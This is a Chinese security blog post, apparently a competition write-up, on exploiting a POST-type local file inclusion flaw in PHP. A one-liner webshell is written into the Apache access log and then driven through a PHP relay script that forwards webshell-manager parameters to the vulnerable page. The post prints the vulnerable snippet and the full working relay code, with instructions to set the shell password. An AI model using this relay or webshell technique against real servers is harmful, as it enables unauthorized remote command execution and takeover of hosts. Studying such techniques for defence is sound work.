神刀安全网

POST型文件包含漏洞之一句话利用

最近在忙比赛,碰到了一个文件包含漏洞,通过包含apache的access.log中的一句话,使用CKnife进行连接,但是Get型是十分轻松的,直接 http://xxx/FilesIn.php?filename=../apache/logs/access.log 进行包含利用就行了。但是当遇到这样的文件保护漏洞。

<?php if(isset($_POST["filename"]))  $myfile = $_POST["filename"]; else  echo "Please set filename!"; ?> 

上面的办法是完全没有效果的,本身菜刀,C刀的配置参数中也不支持POST选项,所以这好好的漏洞岂不是浪费了?通过之前的Cookies注入中的Cookies中转注入思想,写了一个简易的脚本(以C刀为例)。

首先我们先给日志写入一句话。

POST型文件包含漏洞之一句话利用

然后我们可以在靶机上查看一下是否上传成功。

POST型文件包含漏洞之一句话利用

ok

创建如下脚本:

<?php $url="http://192.168.51.103/FilesIn.php"; //中转的脚本路径 //初始化提交参数 $data = array('filename'=>'../Apache/logs/access.log'); if(isset($_POST["CRoot"]))//此处CRoot改为你的密码 {  $tmp = array('CRoot'=>$_POST["CRoot"]);//此处CRoot改为你的密码  $data += $tmp; } if(isset($_POST["action"])) {  $tmp = array('action'=>$_POST["action"]);  $data += $tmp; } if(isset($_POST['z1'])) {  $tmp = array('z1'=>$_POST["z1"]);  $data += $tmp; } //$data = array('filename'=>'../Apache/logs/access.log','CRoot'=>$postdata,'action'=$_POST["action"],'z1'=$_POST['z1']); //var_dump($data); $data = http_build_query($data); $curl = curl_init(); curl_setopt($curl,CURLOPT_URL,$url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); $rtdata = curl_exec($curl); curl_close($curl); echo $rtdata; ?> 

打开C刀

POST型文件包含漏洞之一句话利用

本地搭建PHP服务器进行连接。测试效果

POST型文件包含漏洞之一句话利用

OK.本次仅仅对PHP类型的文件管理进行了中转处理,其他管理功能可能支持的不大好。

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » POST型文件包含漏洞之一句话利用

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址